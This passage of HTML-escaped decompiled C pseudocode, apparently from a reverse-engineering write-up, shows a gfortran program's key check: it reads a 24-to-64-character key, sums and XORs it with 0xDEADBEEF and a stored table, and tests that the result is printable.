  &lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;bfl.f90&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_gfortran_st_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dword_4020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_gfortran_transfer_character_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;key:(A)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_gfortran_st_write_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;bfl.f90&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v29&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;(A)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v30&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4096&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_gfortran_st_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;key:(A)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_gfortran_transfer_character&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_gfortran_st_read_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;min_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;input_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_gfortran_string_len_trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;min_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_len&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;bfl.f90&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_gfortran_st_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;_gfortran_transfer_character_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;_gfortran_st_write_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;_gfortran_stop_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                      &lt;span class=&quot;c1&quot;&gt;// above is getting input, min 24 max 64&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;input_len2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_gfortran_string_len_trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_len2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_17A4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_19BD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_18C2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4919&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xDEADBEEF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dword_4020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_190F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;31&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;126&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_11C9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;bfl.f90&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_gfortran_st_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;_gfortran_transfer_character_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;_gfortran_st_write_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;_gfortran_stop_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_19BD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_201C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;bfl.f90&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
